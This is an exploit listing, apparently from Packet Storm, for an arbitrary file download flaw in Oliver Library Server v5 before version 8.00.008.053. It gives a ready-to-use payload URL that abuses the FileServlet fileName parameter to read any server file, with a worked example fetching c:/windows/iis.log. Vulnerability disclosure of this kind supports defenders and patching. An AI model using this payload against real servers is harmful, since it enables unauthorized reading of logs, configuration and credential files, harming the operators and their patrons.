Oliver Library Server 5 Arbitrary File Download

Oliver Library Server 5 versions prior to 8.00.008.053 suffer from an arbitrary file download vulnerability.


MD5 | 47de3fec9dce2620943ba2fb7c366359

Download
# Exploit Title: Oliver Library Server v5 - Arbitrary File Download
# Date: 14/12/2021
# Exploit Authors: Mandeep Singh, Ishaan Vij, Luke Blues, CTRL Group
# Vendor Homepage: https://www.softlinkint.com/product/oliver/ 
# Product: Oliver Server v5
# Version: < 8.00.008.053
# Tested on: Windows Server 2016

Technical Description:
An arbitrary file download vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the FileServlet function allows for arbitrary file download by an attacker using unsanitized user supplied input.

Steps to Exploit:

1)  Use the following Payload:
        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=<arbitrary file path>

2) Example to download iis.log file:
        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=c:/windows/iis.log


Source: packetstormsecurity.com
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